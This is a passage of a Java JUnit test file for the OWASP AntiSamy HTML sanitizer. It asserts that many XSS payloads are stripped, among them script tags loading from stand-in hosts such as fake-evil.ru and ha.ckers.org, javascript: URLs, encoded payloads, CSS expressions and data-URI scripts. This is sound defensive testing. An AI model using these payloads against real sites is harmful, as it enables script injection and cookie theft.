POSSIBILITY OF SUCH DAMAGE.\n */", "package org.owasp.validator.html.test;", "import static org.junit.Assert.assertEquals;\nimport static org.junit.Assert.assertFalse;\nimport static org.junit.Assert.assertNotNull;\nimport static org.junit.Assert.assertTrue;\nimport static org.junit.Assert.fail;\nimport static org.hamcrest.CoreMatchers.both;\nimport static org.hamcrest.CoreMatchers.containsString;\nimport static org.hamcrest.CoreMatchers.equalTo;\nimport static org.hamcrest.CoreMatchers.is;\nimport static org.hamcrest.CoreMatchers.not;\nimport static org.hamcrest.MatcherAssert.assertThat;", "import org.hamcrest.text.MatchesPattern;\nimport org.junit.Before;\nimport org.junit.Test;", "import java.io.File;\nimport java.io.IOException;\nimport java.io.Reader;\nimport java.io.StringReader;\nimport java.io.StringWriter;\nimport java.io.Writer;\nimport java.net.URISyntaxException;\nimport java.net.URL;\nimport java.util.Arrays;\nimport java.util.Collections;\nimport java.util.concurrent.ExecutionException;\nimport java.util.HashMap;\nimport java.util.Map;\nimport java.util.regex.Matcher;\nimport java.util.regex.Pattern;", "import org.apache.commons.codec.binary.Base64;", "import org.owasp.validator.html.AntiSamy;\nimport org.owasp.validator.html.CleanResults;\nimport org.owasp.validator.html.Policy;\nimport org.owasp.validator.html.PolicyException;\nimport org.owasp.validator.html.ScanException;\nimport org.owasp.validator.html.model.Attribute;\nimport org.owasp.validator.html.model.Property;\nimport org.owasp.validator.html.model.Tag;", "/**\n * This class tests AntiSamy functionality and the basic policy file which\n * should be immune to XSS and CSS phishing attacks.\n * \n * The test cases titled issue##() map to the issues identified in the original AntiSamy \n * source code repo at: https://code.google.com/archive/p/owaspantisamy/issues.\n * \n * The test cases titled githubIssue##() map to the issues documented at: \n * https://github.com/nahsra/antisamy/issues\n *\n * @author Arshan Dabirsiaghi\n */", "public class AntiSamyTest {", " private static final String[] BASE64_BAD_XML_STRINGS = new String[]{\n // first string is\n // \"<a - href=\\\"http://www.owasp.org\\\">click here</a>\"\n \"PGEgLSBocmVmPSJodHRwOi8vd3d3Lm93YXNwLm9yZyI+Y2xpY2sgaGVyZTwvYT4=\",\n // the rest are randomly generated 300 byte sequences which generate\n // parser errors, turned into Strings\n \"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\",\n };", " private AntiSamy as = new AntiSamy();\n private TestPolicy policy = null;", " @Before\n public void setUp() throws Exception {", " /*\n * Load the policy. You may have to change the path to find the Policy\n * file for your environment.\n */", " //get Policy instance from a URL.\n URL url = getClass().getResource(\"/antisamy.xml\");\n policy = TestPolicy.getInstance(url);\n }", " @Test\n public void SAX() {\n try {\n CleanResults cr = as.scan(\"<b>test</i></b>test thsidfshidf<script>sdfsdf\", policy, AntiSamy.SAX);\n assertTrue(cr != null && cr.getCleanXMLDocumentFragment() == null && cr.getCleanHTML().length() > 0);\n } catch (ScanException | PolicyException e) {\n e.printStackTrace();\n }\n }", " /*\n * Test basic XSS cases.\n */", " @Test\n public void scriptAttacks() throws ScanException, PolicyException {\n \t\n assertTrue(!as.scan(\"test<script>alert(document.cookie)</script>\", policy, AntiSamy.DOM).getCleanHTML().contains(\"script\"));\n assertTrue(!as.scan(\"test<script>alert(document.cookie)</script>\", policy, AntiSamy.SAX).getCleanHTML().contains(\"script\"));", " assertTrue(!as.scan(\"<<<><<script src=http://fake-evil.ru/test.js>\", policy, AntiSamy.DOM).getCleanHTML().contains(\"<script\"));\n assertTrue(!as.scan(\"<<<><<script src=http://fake-evil.ru/test.js>\", policy, AntiSamy.SAX).getCleanHTML().contains(\"<script\"));", " assertTrue(!as.scan(\"<script<script src=http://fake-evil.ru/test.js>>\", policy, AntiSamy.DOM).getCleanHTML().contains(\"<script\"));\n assertTrue(!as.scan(\"<script<script src=http://fake-evil.ru/test.js>>\", policy, AntiSamy.SAX).getCleanHTML().contains(\"<script\"));", " assertTrue(!as.scan(\"<SCRIPT/XSS SRC=\\\"http://ha.ckers.org/xss.js\\\"></SCRIPT>\", policy, AntiSamy.DOM).getCleanHTML().contains(\"<script\"));\n assertTrue(!as.scan(\"<SCRIPT/XSS SRC=\\\"http://ha.ckers.org/xss.js\\\"></SCRIPT>\", policy, AntiSamy.SAX).getCleanHTML().contains(\"<script\"));", " assertTrue(!as.scan(\"<BODY onload!#$%&()*~+-_.,:;?@[/|\\\\]^`=alert(\\\"XSS\\\")>\", policy, AntiSamy.DOM).getCleanHTML().contains(\"onload\"));\n assertTrue(!as.scan(\"<BODY onload!#$%&()*~+-_.,:;?@[/|\\\\]^`=alert(\\\"XSS\\\")>\", policy, AntiSamy.SAX).getCleanHTML().contains(\"onload\"));", " assertTrue(!as.scan(\"<BODY ONLOAD=alert('XSS')>\", policy, AntiSamy.DOM).getCleanHTML().contains(\"alert\"));\n assertTrue(!as.scan(\"<BODY ONLOAD=alert('XSS')>\", policy, AntiSamy.SAX).getCleanHTML().contains(\"alert\"));", " assertTrue(!as.scan(\"<iframe src=http://ha.ckers.org/scriptlet.html <\", policy, AntiSamy.DOM).getCleanHTML().contains(\"<iframe\"));\n assertTrue(!as.scan(\"<iframe src=http://ha.ckers.org/scriptlet.html <\", policy, AntiSamy.SAX).getCleanHTML().contains(\"<iframe\"));", " assertTrue(!as.scan(\"<INPUT TYPE=\\\"IMAGE\\\" SRC=\\\"javascript:alert('XSS');\\\">\", policy, AntiSamy.DOM).getCleanHTML().contains(\"src\"));\n assertTrue(!as.scan(\"<INPUT TYPE=\\\"IMAGE\\\" SRC=\\\"javascript:alert('XSS');\\\">\", policy, AntiSamy.SAX).getCleanHTML().contains(\"src\"));", " as.scan(\"<a onblur=\\\"alert(secret)\\\" href=\\\"http://www.google.com\\\">Google</a>\", policy, AntiSamy.DOM);\n as.scan(\"<a onblur=\\\"alert(secret)\\\" href=\\\"http://www.google.com\\\">Google</a>\", policy, AntiSamy.SAX);\n }", " @Test\n public void imgAttacks() throws ScanException, PolicyException {", " assertTrue(as.scan(\"<img src=\\\"http://www.myspace.com/img.gif\\\"/>\", policy, AntiSamy.DOM).getCleanHTML().contains(\"<img\"));\n assertTrue(as.scan(\"<img src=\\\"http://www.myspace.com/img.gif\\\"/>\", policy, AntiSamy.SAX).getCleanHTML().contains(\"<img\"));", " assertTrue(!as.scan(\"<img src=javascript:alert(document.cookie)>\", policy, AntiSamy.DOM).getCleanHTML().contains(\"<img\"));\n assertTrue(!as.scan(\"<img src=javascript:alert(document.cookie)>\", policy, AntiSamy.SAX).getCleanHTML().contains(\"<img\"));", " assertTrue(!as.scan(\"<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>\", policy, AntiSamy.DOM).getCleanHTML().contains(\"<img\"));\n assertTrue(!as.scan(\"<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>\", policy, AntiSamy.SAX)\n .getCleanHTML().contains(\"<img\"));", " assertTrue(!as.scan(\n \"<IMG SRC='&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041'>\",\n policy, AntiSamy.DOM).getCleanHTML().contains(\"<img\"));\n assertTrue(!as.scan(\n \"<IMG SRC='&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041'>\",\n policy, AntiSamy.SAX).getCleanHTML().contains(\"<img\"));", " assertTrue(!as.scan(\"<IMG SRC=\\\"jav&#x0D;ascript:alert('XSS');\\\">\", policy, AntiSamy.DOM).getCleanHTML().contains(\"alert\"));\n assertTrue(!as.scan(\"<IMG SRC=\\\"jav&#x0D;ascript:alert('XSS');\\\">\", policy, AntiSamy.SAX).getCleanHTML().contains(\"alert\"));", " String s = as.scan(\n \"<IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>\",\n policy, AntiSamy.DOM).getCleanHTML();\n assertTrue(s.length() == 0 || s.contains(\"&amp;\"));\n s = as.scan( \"<IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>\",\n policy, AntiSamy.SAX).getCleanHTML();\n assertTrue(s.length() == 0 || s.contains(\"&amp;\"));", " as.scan(\"<IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>\", policy, AntiSamy.DOM);\n as.scan(\"<IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>\", policy, AntiSamy.SAX);", " assertTrue(!as.scan(\"<IMG SRC=\\\"javascript:alert('XSS')\\\"\", policy, AntiSamy.DOM).getCleanHTML().contains(\"javascript\"));\n assertTrue(!as.scan(\"<IMG SRC=\\\"javascript:alert('XSS')\\\"\", policy, AntiSamy.SAX).getCleanHTML().contains(\"javascript\"));", " assertTrue(!as.scan(\"<IMG LOWSRC=\\\"javascript:alert('XSS')\\\">\", policy, AntiSamy.DOM).getCleanHTML().contains(\"javascript\"));\n assertTrue(!as.scan(\"<IMG LOWSRC=\\\"javascript:alert('XSS')\\\">\", policy, AntiSamy.SAX).getCleanHTML().contains(\"javascript\"));", " assertTrue(!as.scan(\"<BGSOUND SRC=\\\"javascript:alert('XSS');\\\">\", policy, AntiSamy.DOM).getCleanHTML().contains(\"javascript\"));\n assertTrue(!as.scan(\"<BGSOUND SRC=\\\"javascript:alert('XSS');\\\">\", policy, AntiSamy.SAX).getCleanHTML().contains(\"javascript\"));\n }", " @Test\n public void hrefAttacks() throws ScanException, PolicyException {", " assertTrue(!as.scan(\"<LINK REL=\\\"stylesheet\\\" HREF=\\\"javascript:alert('XSS');\\\">\", policy, AntiSamy.DOM).getCleanHTML().contains(\"href\"));\n assertTrue(!as.scan(\"<LINK REL=\\\"stylesheet\\\" HREF=\\\"javascript:alert('XSS');\\\">\", policy, AntiSamy.SAX).getCleanHTML().contains(\"href\"));", " assertTrue(!as.scan(\"<LINK REL=\\\"stylesheet\\\" HREF=\\\"http://ha.ckers.org/xss.css\\\">\", policy, AntiSamy.DOM).getCleanHTML().contains(\"href\"));\n assertTrue(!as.scan(\"<LINK REL=\\\"stylesheet\\\" HREF=\\\"http://ha.ckers.org/xss.css\\\">\", policy, AntiSamy.SAX).getCleanHTML().contains(\"href\"));", " assertTrue(!as.scan(\"<STYLE>@import'http://ha.ckers.org/xss.css';</STYLE>\", policy, AntiSamy.DOM).getCleanHTML().contains(\"ha.ckers.org\"));\n assertTrue(!as.scan(\"<STYLE>@import'http://ha.ckers.org/xss.css';</STYLE>\", policy, AntiSamy.SAX).getCleanHTML().contains(\"ha.ckers.org\"));", " assertTrue(!as.scan(\"<STYLE>BODY{-moz-binding:url(\\\"http://ha.ckers.org/xssmoz.xml#xss\\\")}</STYLE>\", policy, AntiSamy.DOM).getCleanHTML().contains(\"ha.ckers.org\"));\n assertTrue(!as.scan(\"<STYLE>BODY{-moz-binding:url(\\\"http://ha.ckers.org/xssmoz.xml#xss\\\")}</STYLE>\", policy, AntiSamy.SAX).getCleanHTML().contains(\"ha.ckers.org\"));", " assertTrue(!as.scan(\"<STYLE>li {list-style-image: url(\\\"javascript:alert('XSS')\\\");}</STYLE><UL><LI>XSS\", policy, AntiSamy.DOM).getCleanHTML().contains(\"javascript\"));\n assertTrue(!as.scan(\"<STYLE>li {list-style-image: url(\\\"javascript:alert('XSS')\\\");}</STYLE><UL><LI>XSS\", policy, AntiSamy.SAX).getCleanHTML().contains(\"javascript\"));", " assertTrue(!as.scan(\"<IMG SRC='vbscript:msgbox(\\\"XSS\\\")'>\", policy, AntiSamy.DOM).getCleanHTML().contains(\"vbscript\"));\n assertTrue(!as.scan(\"<IMG SRC='vbscript:msgbox(\\\"XSS\\\")'>\", policy, AntiSamy.SAX).getCleanHTML().contains(\"vbscript\"));", " assertTrue(!as.scan(\"<META HTTP-EQUIV=\\\"refresh\\\" CONTENT=\\\"0; URL=http://;URL=javascript:alert('XSS');\\\">\", policy, AntiSamy.DOM).getCleanHTML().contains(\"<meta\"));\n assertTrue(!as.scan(\"<META HTTP-EQUIV=\\\"refresh\\\" CONTENT=\\\"0; URL=http://;URL=javascript:alert('XSS');\\\">\", policy, AntiSamy.SAX).getCleanHTML().contains(\"<meta\"));", " assertTrue(!as.scan(\"<META HTTP-EQUIV=\\\"refresh\\\" CONTENT=\\\"0;url=javascript:alert('XSS');\\\">\", policy, AntiSamy.DOM).getCleanHTML().contains(\"<meta\"));\n assertTrue(!as.scan(\"<META HTTP-EQUIV=\\\"refresh\\\" CONTENT=\\\"0;url=javascript:alert('XSS');\\\">\", policy, AntiSamy.SAX).getCleanHTML().contains(\"<meta\"));", " assertTrue(!as.scan(\"<META HTTP-EQUIV=\\\"refresh\\\" CONTENT=\\\"0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K\\\">\", policy, AntiSamy.DOM).getCleanHTML().contains(\"<meta\"));\n assertTrue(!as.scan(\"<META HTTP-EQUIV=\\\"refresh\\\" CONTENT=\\\"0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K\\\">\", policy, AntiSamy.SAX).getCleanHTML().contains(\"<meta\"));", " assertTrue(!as.scan(\"<IFRAME SRC=\\\"javascript:alert('XSS');\\\"></IFRAME>\", policy, AntiSamy.DOM).getCleanHTML().contains(\"iframe\"));\n assertTrue(!as.scan(\"<IFRAME SRC=\\\"javascript:alert('XSS');\\\"></IFRAME>\", policy, AntiSamy.SAX).getCleanHTML().contains(\"iframe\"));", " assertTrue(!as.scan(\"<FRAMESET><FRAME SRC=\\\"javascript:alert('XSS');\\\"></FRAMESET>\", policy, AntiSamy.DOM).getCleanHTML().contains(\"javascript\"));\n assertTrue(!as.scan(\"<FRAMESET><FRAME SRC=\\\"javascript:alert('XSS');\\\"></FRAMESET>\", policy, AntiSamy.SAX).getCleanHTML().contains(\"javascript\"));", " assertTrue(!as.scan(\"<TABLE BACKGROUND=\\\"javascript:alert('XSS')\\\">\", policy, AntiSamy.DOM).getCleanHTML().contains(\"background\"));\n assertTrue(!as.scan(\"<TABLE BACKGROUND=\\\"javascript:alert('XSS')\\\">\", policy, AntiSamy.SAX).getCleanHTML().contains(\"background\"));", " assertTrue(!as.scan(\"<TABLE><TD BACKGROUND=\\\"javascript:alert('XSS')\\\">\", policy, AntiSamy.DOM).getCleanHTML().contains(\"background\"));\n assertTrue(!as.scan(\"<TABLE><TD BACKGROUND=\\\"javascript:alert('XSS')\\\">\", policy, AntiSamy.SAX).getCleanHTML().contains(\"background\"));", " assertTrue(!as.scan(\"<DIV STYLE=\\\"background-image: url(javascript:alert('XSS'))\\\">\", policy, AntiSamy.DOM).getCleanHTML().contains(\"javascript\"));\n assertTrue(!as.scan(\"<DIV STYLE=\\\"background-image: url(javascript:alert('XSS'))\\\">\", policy, AntiSamy.SAX).getCleanHTML().contains(\"javascript\"));", " assertTrue(!as.scan(\"<DIV STYLE=\\\"width: expression(alert('XSS'));\\\">\", policy, AntiSamy.DOM).getCleanHTML().contains(\"alert\"));\n assertTrue(!as.scan(\"<DIV STYLE=\\\"width: expression(alert('XSS'));\\\">\", policy, AntiSamy.SAX).getCleanHTML().contains(\"alert\"));", " assertTrue(!as.scan(\"<IMG STYLE=\\\"xss:expr/*XSS*/ession(alert('XSS'))\\\">\", policy, AntiSamy.DOM).getCleanHTML().contains(\"alert\"));\n assertTrue(!as.scan(\"<IMG STYLE=\\\"xss:expr/*XSS*/ession(alert('XSS'))\\\">\", policy, AntiSamy.SAX).getCleanHTML().contains(\"alert\"));", " assertTrue(!as.scan(\"<STYLE>@im\\\\port'\\\\ja\\\\vasc\\\\ript:alert(\\\"XSS\\\")';</STYLE>\", policy, AntiSamy.DOM).getCleanHTML().contains(\"ript:alert\"));\n assertTrue(!as.scan(\"<STYLE>@im\\\\port'\\\\ja\\\\vasc\\\\ript:alert(\\\"XSS\\\")';</STYLE>\", policy, AntiSamy.SAX).getCleanHTML().contains(\"ript:alert\"));", " assertTrue(!as.scan(\"<BASE HREF=\\\"javascript:alert('XSS');//\\\">\", policy, AntiSamy.DOM).getCleanHTML().contains(\"javascript\"));\n assertTrue(!as.scan(\"<BASE HREF=\\\"javascript:alert('XSS');//\\\">\", policy, AntiSamy.SAX).getCleanHTML().contains(\"javascript\"));", " assertTrue(!as.scan(\"<BaSe hReF=\\\"http://arbitrary.com/\\\">\", policy, AntiSamy.DOM).getCleanHTML().contains(\"<base\"));\n assertTrue(!as.scan(\"<BaSe hReF=\\\"http://arbitrary.com/\\\">\", policy, AntiSamy.SAX).getCleanHTML().contains(\"<base\"));", " assertTrue(!as.scan(\"<OBJECT TYPE=\\\"text/x-scriptlet\\\" DATA=\\\"http://ha.ckers.org/scriptlet.html\\\"></OBJECT>\", policy, AntiSamy.DOM).getCleanHTML().contains(\"<object\"));\n assertTrue(!as.scan(\"<OBJECT TYPE=\\\"text/x-scriptlet\\\" DATA=\\\"http://ha.ckers.org/scriptlet.html\\\"></OBJECT>\", policy, AntiSamy.SAX).getCleanHTML().contains(\"<object\"));", " assertTrue(!as.scan(\"<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:alert('XSS')></OBJECT>\", policy, AntiSamy.DOM).getCleanHTML().contains(\"javascript\"));", " CleanResults cr = as.scan(\"<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:alert('XSS')></OBJECT>\", policy, AntiSamy.SAX);\n // System.out.println(cr.getErrorMessages().get(0));\n assertTrue(!cr.getCleanHTML().contains(\"javascript\"));", " assertTrue(!as.scan(\"<EMBED SRC=\\\"http://ha.ckers.org/xss.swf\\\" AllowScriptAccess=\\\"always\\\"></EMBED>\", policy, AntiSamy.DOM).getCleanHTML().contains(\"<embed\"));\n assertTrue(!as.scan(\"<EMBED SRC=\\\"http://ha.ckers.org/xss.swf\\\" AllowScriptAccess=\\\"always\\\"></EMBED>\", policy, AntiSamy.SAX).getCleanHTML().contains(\"<embed\"));", " assertTrue(!as.scan(\n \"<EMBED SRC=\\\"data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==\\\" type=\\\"image/svg+xml\\\" AllowScriptAccess=\\\"always\\\"></EMBED>\",\n policy, AntiSamy.DOM).getCleanHTML().contains(\"<embed\"));\n assertTrue(!as.scan(\n \"<EMBED SRC=\\\"data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==\\\" type=\\\"image/svg+xml\\\" AllowScriptAccess=\\\"always\\\"></EMBED>\",\n policy, 